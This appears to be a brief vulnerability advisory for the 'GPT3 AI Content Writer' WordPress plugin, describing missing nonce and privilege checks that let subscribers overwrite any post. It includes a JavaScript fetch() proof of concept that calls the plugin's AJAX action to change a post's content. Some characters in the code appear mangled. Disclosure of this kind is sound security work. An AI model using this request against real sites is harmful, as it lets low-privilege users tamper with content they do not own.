GPT3 AI Content Writer < 1.4.38 - Subscriber+ Arbitrary Post Content Update

The plugin does not perform any kind of nonce or privilege checks before letting logged-in users modify arbitrary posts.

PoC

fetch(‘http://localhost/wp-admin/admin-ajax.php’, { method: ‘POST’, headers: new Headers({ ‘Content-Type’: ‘application/x-www-form-urlencoded’, }), body: ‘action=wpaicg_set_post_content_&post;_id=1&content;=CHANGED’, redirect: ‘follow’ }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log(‘error’, error));